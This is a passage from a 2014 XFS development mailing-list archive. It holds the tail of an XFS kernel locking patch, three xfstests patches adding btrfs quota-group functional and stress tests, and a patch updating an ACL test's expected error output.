xfs_trans_ijoin(tp, sip, XFS_ILOCK_EXCL); - xfs_trans_ijoin(tp, tdp, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, tdp, XFS_IOLOCK_EXCL | XFS_ILOCK_EXCL); /* * If we are using project inheritance, we only allow hard link @@ -2454,9 +2471,10 @@ xfs_remove( goto out_trans_cancel; } + xfs_ilock(dp, XFS_IOLOCK_EXCL | XFS_IOLOCK_PARENT); xfs_lock_two_inodes(dp, ip, XFS_ILOCK_EXCL); - xfs_trans_ijoin(tp, dp, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, dp, XFS_IOLOCK_EXCL | XFS_ILOCK_EXCL); xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL); /* @@ -2655,6 +2673,12 @@ xfs_rename( * whether the target directory is the same as the source * directory, we can lock from 2 to 4 inodes. */ + if (!new_parent) + xfs_ilock(src_dp, XFS_IOLOCK_EXCL | XFS_IOLOCK_PARENT); + else + xfs_lock_two_inodes(src_dp, target_dp, + XFS_IOLOCK_EXCL | XFS_IOLOCK_PARENT); + xfs_lock_inodes(inodes, num_inodes, XFS_ILOCK_EXCL); /* @@ -2662,9 +2686,9 @@ xfs_rename( * we can rely on either trans_commit or trans_cancel to unlock * them. */ - xfs_trans_ijoin(tp, src_dp, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, src_dp, XFS_IOLOCK_EXCL | XFS_ILOCK_EXCL); if (new_parent) - xfs_trans_ijoin(tp, target_dp, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, target_dp, XFS_IOLOCK_EXCL | XFS_ILOCK_EXCL); xfs_trans_ijoin(tp, src_ip, XFS_ILOCK_EXCL); if (target_ip) xfs_trans_ijoin(tp, target_ip, XFS_ILOCK_EXCL); diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h index 5f421a1..f20d4d0 100644 --- a/fs/xfs/xfs_inode.h +++ b/fs/xfs/xfs_inode.h @@ -290,15 +290,20 @@ static inline int xfs_isiflocked(struct xfs_inode *ip) #define XFS_LOCK_PARENT 1 #define XFS_LOCK_RTBITMAP 2 #define XFS_LOCK_RTSUM 3 -#define XFS_LOCK_INUMORDER 4 #define XFS_IOLOCK_SHIFT 16 #define XFS_IOLOCK_PARENT (XFS_LOCK_PARENT << XFS_IOLOCK_SHIFT) +#define XFS_IOLOCK_INUMORDER (XFS_LOCK_PARENT + 1) +#define XFS_IOLOCK_MAX_SUBCLASS 1 +#define XFS_IOLOCK_INUMORDER_PARENT \ + (XFS_IOLOCK_INUMORDER + XFS_IOLOCK_MAX_SUBCLASS + 1) #define XFS_ILOCK_SHIFT 24 #define XFS_ILOCK_PARENT (XFS_LOCK_PARENT << XFS_ILOCK_SHIFT) #define XFS_ILOCK_RTBITMAP (XFS_LOCK_RTBITMAP << XFS_ILOCK_SHIFT) #define XFS_ILOCK_RTSUM (XFS_LOCK_RTSUM << XFS_ILOCK_SHIFT) +#define XFS_ILOCK_INUMORDER (XFS_LOCK_RTSUM + 1); +#define XFS_ILOCK_MAX_SUBCLASS 3 #define XFS_IOLOCK_DEP_MASK 0x00ff0000 #define XFS_ILOCK_DEP_MASK 0xff000000 diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index 5fda189..32c3278 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -249,7 +249,8 @@ xfs_symlink( goto error_return; } - xfs_ilock(dp, XFS_ILOCK_EXCL | XFS_ILOCK_PARENT); + xfs_ilock(dp, XFS_IOLOCK_EXCL | XFS_ILOCK_EXCL | + XFS_IOLOCK_PARENT | XFS_ILOCK_PARENT); unlock_dp_on_error = true; /* @@ -296,7 +297,7 @@ xfs_symlink( * transaction cancel unlocking dp so don't do it explicitly in the * error path. */ - xfs_trans_ijoin(tp, dp, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, dp, XFS_IOLOCK_EXCL | XFS_ILOCK_EXCL); unlock_dp_on_error = false; /* @@ -418,7 +419,7 @@ xfs_symlink( xfs_qm_dqrele(pdqp); if (unlock_dp_on_error) - xfs_iunlock(dp, XFS_ILOCK_EXCL); + xfs_iunlock(dp, XFS_IOLOCK_EXCL | XFS_ILOCK_EXCL); std_return: return error; } From wangsl.fnst@cn.fujitsu.com Sun Mar 9 22:46:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C26367F3F for ; Sun, 9 Mar 2014 22:46:39 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9F97A304051 for ; Sun, 9 Mar 2014 20:46:39 -0700 (PDT) X-ASG-Debug-ID: 1394423187-04cbb054b81e3df0001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id MgjNLxYnCHAPbGMP for ; Sun, 09 Mar 2014 20:46:30 -0700 (PDT) X-Barracuda-Envelope-From: wangsl.fnst@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.97,621,1389715200"; d="scan'208";a="9669550" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 10 Mar 2014 11:42:23 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s2A3k9FA003573; Mon, 10 Mar 2014 11:46:14 +0800 Received: from wangs.fnst.cn.fujitsu.com ([10.167.226.104]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014031011432891-515406 ; Mon, 10 Mar 2014 11:43:28 +0800 From: Wang Shilong To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org Subject: [PATCH v2 1/3] xfstests/btrfs: add qgroup rescan stress test Date: Mon, 10 Mar 2014 11:44:09 +0800 X-ASG-Orig-Subj: [PATCH v2 1/3] xfstests/btrfs: add qgroup rescan stress test Message-Id: <1394423051-17356-1-git-send-email-wangsl.fnst@cn.fujitsu.com> X-Mailer: git-send-email 1.9.0 X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/03/10 11:43:28, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/03/10 11:43:34, Serialize complete at 2014/03/10 11:43:34 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1394423189 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3749 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Test flow is to run fsstress after triggering quota rescan. the ruler is simple, we just remove all files and directories, sync filesystem and see if qgroup's ref and excl are nodesize. Signed-off-by: Wang Shilong --- v1->v2: switch into new helper _run_btrfs_util_prog() --- tests/btrfs/041 | 76 +++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/041.out | 3 +++ tests/btrfs/group | 1 + 3 files changed, 80 insertions(+) create mode 100644 tests/btrfs/041 create mode 100644 tests/btrfs/041.out diff --git a/tests/btrfs/041 b/tests/btrfs/041 new file mode 100644 index 0000000..92bd080 --- /dev/null +++ b/tests/btrfs/041 @@ -0,0 +1,76 @@ +#! /bin/bash +# FSQA Test No. btrfs/041 +# +# Quota rescan stress test, we run fsstress and quota rescan concurrently +# +#----------------------------------------------------------------------- +# Copyright (C) 2014 Fujitsu. All rights reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 + +_cleanup() +{ + cd / + rm -f $tmp.* +} +trap "_cleanup; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_need_to_be_root +_supported_fs btrfs +_supported_os Linux +_require_scratch + +rm -f $seqres.full + +run_check _scratch_mkfs "-b 1g --nodesize 4096" +run_check _scratch_mount + +# -w ensures that the only ops are ones which cause write I/O +run_check $FSSTRESS_PROG -d $SCRATCH_MNT -w -p 5 -n 1000 \ + $FSSTRESS_AVOID >&/dev/null + +_run_btrfs_util_prog subvolume snapshot $SCRATCH_MNT \ + $SCRATCH_MNT/snap1 >>$seqres.full 2>&1 + +run_check $FSSTRESS_PROG -d $SCRATCH_MNT/snap1 -w -p 5 -n 1000 \ + $FSSTRESS_AVOID >&/dev/null + +_run_btrfs_util_prog quota enable $SCRATCH_MNT +_run_btrfs_util_prog quota rescan -w $SCRATCH_MNT + +#ignore removing subvolume errors +rm -rf $SCRATCH_MNT/* >& /dev/null + +_run_btrfs_util_prog filesystem sync $SCRATCH_MNT >> $seqres.full 2>&1 +_run_btrfs_util_prog qgroup show $SCRATCH_MNT | $SED_PROG -n '/[0-9]/p' \ + | $AWK_PROG '{print $1" "$2" "$3 }' + +status=0 +exit diff --git a/tests/btrfs/041.out b/tests/btrfs/041.out new file mode 100644 index 0000000..fb59896 --- /dev/null +++ b/tests/btrfs/041.out @@ -0,0 +1,3 @@ +QA output created by 041 +0/5 4096 4096 +0/258 4096 4096 diff --git a/tests/btrfs/group b/tests/btrfs/group index f5452b5..fd0193c 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -43,3 +43,4 @@ 038 auto quick 039 auto quick 040 auto quick +041 auto quick -- 1.9.0 From wangsl.fnst@cn.fujitsu.com Sun Mar 9 22:46:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 22E587F52 for ; Sun, 9 Mar 2014 22:46:42 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 06F45304051 for ; Sun, 9 Mar 2014 20:46:42 -0700 (PDT) X-ASG-Debug-ID: 1394423187-04cbb054b81e3df0002-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id Kgva8iOnGFlSbaKl for ; Sun, 09 Mar 2014 20:46:39 -0700 (PDT) X-Barracuda-Envelope-From: wangsl.fnst@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.97,621,1389715200"; d="scan'208";a="9669551" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 10 Mar 2014 11:42:23 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s2A3k4r7003571; Mon, 10 Mar 2014 11:46:14 +0800 Received: from wangs.fnst.cn.fujitsu.com ([10.167.226.104]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014031011432891-515407 ; Mon, 10 Mar 2014 11:43:28 +0800 From: Wang Shilong To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org Subject: [PATCH v2 2/3] xfstests/btrfs: add basic functional test for btrfs quota groups Date: Mon, 10 Mar 2014 11:44:10 +0800 X-ASG-Orig-Subj: [PATCH v2 2/3] xfstests/btrfs: add basic functional test for btrfs quota groups Message-Id: <1394423051-17356-2-git-send-email-wangsl.fnst@cn.fujitsu.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1394423051-17356-1-git-send-email-wangsl.fnst@cn.fujitsu.com> References: <1394423051-17356-1-git-send-email-wangsl.fnst@cn.fujitsu.com> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/03/10 11:43:28, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/03/10 11:43:34, Serialize complete at 2014/03/10 11:43:34 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1394423198 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3749 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Add missing test for btrfs quota groups feature,test idea is to create a parent qgroup that groups some subvolume groups, we try to write some data into every subvolume and then check if we exceed parent qgroup's limit size. Signed-off-by: Wang Shilong --- v1->v2: switch into new helper _run_btrfs_util_prog() use 'XFS_IO_PROG' instead of 'dd' --- tests/btrfs/042 | 95 +++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/042.out | 2 ++ tests/btrfs/group | 1 + 3 files changed, 98 insertions(+) create mode 100755 tests/btrfs/042 create mode 100644 tests/btrfs/042.out diff --git a/tests/btrfs/042 b/tests/btrfs/042 new file mode 100755 index 0000000..498ccc9 --- /dev/null +++ b/tests/btrfs/042 @@ -0,0 +1,95 @@ +#! /bin/bash +# FS QA Test No. 042 +# +# Test the basic functionality of Quota groups +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Fujitsu. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +_supported_fs btrfs +_supported_os Linux +_require_scratch + +rm -f $seqres.full + +run_check _scratch_mkfs +run_check _scratch_mount + +LIMIT_SIZE=$((10 * 1024 * 1024)) + +_run_btrfs_util_prog quota enable $SCRATCH_MNT +_run_btrfs_util_prog qgroup create 1/1 $SCRATCH_MNT +_run_btrfs_util_prog qgroup limit $LIMIT_SIZE 1/1 $SCRATCH_MNT + +for i in `seq 10 -1 1`; do + #add newly created subvolume qgroup to it's parent qgroup + _run_btrfs_util_prog subvolume create -i 1/1 \ + $SCRATCH_MNT/subv_$i +done + +#try to write data into every subvolume +for i in `seq 10 -1 1`; do + $XFS_IO_PROG -f -d -c 'pwrite -b 4k 0 10m' $SCRATCH_MNT/subv_$i/data \ + >> /dev/null 2>&1 & +done + +wait +_run_btrfs_util_prog filesystem sync $SCRATCH_MNT \ + >>$seqres.full 2>&1 + +total_written=0 +#calculate every subvolume's data. +for i in `seq 10 -1 1`; do + #we may fail to create the file, skip this subvolume + test -f $SCRATCH_MNT/subv_$i || continue + + filesize=`du -b $SCRATCH_MNT/subv_$i/data | $AWK_PROG '{print $1}'` + if [ $filesize -gt $LIMIT_SIZE ];then + _fail "subv_$i/data size should be less than $LIMIT_SIZE" + fi + total_written=$(($total_written+$filesize)) +done + +#check if total written exceeds limit +if [ $total_written -gt $LIMIT_SIZE ];then + _fail "total written should be less than $LIMIT_SIZE" +fi + +# success, all done +echo "Silence is golden" +status=0 +exit diff --git a/tests/btrfs/042.out b/tests/btrfs/042.out new file mode 100644 index 0000000..85eac7a --- /dev/null +++ b/tests/btrfs/042.out @@ -0,0 +1,2 @@ +QA output created by 042 +Silence is golden diff --git a/tests/btrfs/group b/tests/btrfs/group index fd0193c..1037761 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -44,3 +44,4 @@ 039 auto quick 040 auto quick 041 auto quick +042 auto quick -- 1.9.0 From wangsl.fnst@cn.fujitsu.com Sun Mar 9 22:46:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CDDF67F56 for ; Sun, 9 Mar 2014 22:46:46 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4ADA4AC004 for ; Sun, 9 Mar 2014 20:46:43 -0700 (PDT) X-ASG-Debug-ID: 1394423199-04cbb054b91e3e10001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id gGAZXHo8GEf9S8wh for ; Sun, 09 Mar 2014 20:46:40 -0700 (PDT) X-Barracuda-Envelope-From: wangsl.fnst@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.97,621,1389715200"; d="scan'208";a="9669552" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 10 Mar 2014 11:42:27 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s2A3k9FB003573; Mon, 10 Mar 2014 11:46:16 +0800 Received: from wangs.fnst.cn.fujitsu.com ([10.167.226.104]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014031011432893-515408 ; Mon, 10 Mar 2014 11:43:28 +0800 From: Wang Shilong To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org Subject: [PATCH v2 3/3] xfstests/btrfs: add stress test for btrfs quota operations Date: Mon, 10 Mar 2014 11:44:11 +0800 X-ASG-Orig-Subj: [PATCH v2 3/3] xfstests/btrfs: add stress test for btrfs quota operations Message-Id: <1394423051-17356-3-git-send-email-wangsl.fnst@cn.fujitsu.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1394423051-17356-1-git-send-email-wangsl.fnst@cn.fujitsu.com> References: <1394423051-17356-1-git-send-email-wangsl.fnst@cn.fujitsu.com> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/03/10 11:43:28, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/03/10 11:43:36, Serialize complete at 2014/03/10 11:43:36 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1394423199 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3749 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- So this is a stress test for btrfs quota operations. it can also detect the following commit fixed problem: 4082bd3d73(Btrfs: fix oops when writting dirty qgroups to disk) Signed-off-by: Wang Shilong --- v1->v2: switch into new helper _run_btrfs_util_prog() --- tests/btrfs/043 | 76 +++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/043.out | 2 ++ tests/btrfs/group | 1 + 3 files changed, 79 insertions(+) create mode 100755 tests/btrfs/043 create mode 100644 tests/btrfs/043.out diff --git a/tests/btrfs/043 b/tests/btrfs/043 new file mode 100755 index 0000000..d6c4bf3 --- /dev/null +++ b/tests/btrfs/043 @@ -0,0 +1,76 @@ +#! /bin/bash +# FS QA Test No. 043 +# +# stresstest for btrfs quota operations. we run fsstress and quota +# operations concurrently. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Fujitsu. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +_supported_fs btrfs +_supported_os Linux +_require_scratch + +rm -f $seqres.full + +_quota_enabled_background() +{ + i=1 + while [ $i -le 5 ] + do + _run_btrfs_util_prog quota enable $SCRATCH_MNT + _run_btrfs_util_prog quota disable $SCRATCH_MNT + i=$(($i+1)) + sleep 1 + done +} + +MKFS_SIZE=$((1024 * 1024 * 1024)) +run_check _scratch_mkfs_sized $MKFS_SIZE +run_check _scratch_mount + +_quota_enabled_background & +run_check $FSSTRESS_PROG -d $SCRATCH_MNT -w -p 5 -n 1000 \ + $FSSTRESS_AVOID + +run_check _scratch_unmount +_check_scratch_fs + +# success, all done +echo "Silence is golden" +status=0 +exit diff --git a/tests/btrfs/043.out b/tests/btrfs/043.out new file mode 100644 index 0000000..f90f0a5 --- /dev/null +++ b/tests/btrfs/043.out @@ -0,0 +1,2 @@ +QA output created by 043 +Silence is golden diff --git a/tests/btrfs/group b/tests/btrfs/group index 1037761..fabe3b5 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -45,3 +45,4 @@ 040 auto quick 041 auto quick 042 auto quick +043 auto quick -- 1.9.0 From jeff.liu@oracle.com Mon Mar 10 03:32:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3D9657F3F for ; Mon, 10 Mar 2014 03:32:38 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 13A76304059 for ; Mon, 10 Mar 2014 01:32:37 -0700 (PDT) X-ASG-Debug-ID: 1394440353-04cbb054b61ee080001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 7wWDbsVChCDezfWZ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 10 Mar 2014 01:32:33 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s2A8WVWY026472 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 10 Mar 2014 08:32:32 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s2A8WUmT003523 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Mon, 10 Mar 2014 08:32:31 GMT Received: from abhmp0019.oracle.com (abhmp0019.oracle.com [141.146.116.25]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s2A8WU6E019492 for ; Mon, 10 Mar 2014 08:32:30 GMT Received: from [192.168.1.102] (/124.131.58.2) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 10 Mar 2014 01:32:30 -0700 Message-ID: <531D7897.2030800@oracle.com> Date: Mon, 10 Mar 2014 16:32:23 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH] xfstests: shared/051: update golden output to match the XFS max acl return errno Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH] xfstests: shared/051: update golden output to match the XFS max acl return errno Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1394440353 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3754 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Update the golden output to match the recently XFS return errno changes if hit the limits of maximum number of ACLs. Signed-off-by: Jie Liu --- tests/shared/051.out | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/shared/051.out b/tests/shared/051.out index a871082..354ec6a 100644 --- a/tests/shared/051.out +++ b/tests/shared/051.out @@ -280,7 +280,7 @@ mask::rwx other::rwx 1 above xfs acl max -chacl: cannot set access acl on "largeaclfile": Invalid argument +chacl: cannot set access acl on "largeaclfile": Argument list too long # file: largeaclfile # owner: 0 # group: 0 -- 1.8.3.2 From BATV+3dc03ffaa5662c26aa10+3851+infradead.org+hch@bombadil.srs.infradead.org Mon Mar 10 03:35:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8E65F7F3F for ; Mon, 10 Mar 2014 03:35:42 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5E08F304053 for ; Mon, 10 Mar 2014 01:35:42 -0700 (PDT) X-ASG-Debug-ID: 1394440540-04cbb054b71ee290001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id UtHcA0kguCq85GAN (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 10 Mar 2014 01:35:41 -0700 (PDT) X-Barracuda-Envelope-From: BATV+3dc03ffaa5662c26aa10+3851+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WMvgS-0007vl-IW; Mon, 10 Mar 2014 08:35:40 +0000 Date: Mon, 10 Mar 2014 01:35:40 -0700 From: Christoph Hellwig To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfstests: shared/051: update golden output to match the XFS max acl return errno Message-ID: <20140310083540.GA30458@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfstests: shared/051: update golden output to match the XFS max acl return errno References: <531D7897.2030800@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <531D7897.2030800@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: 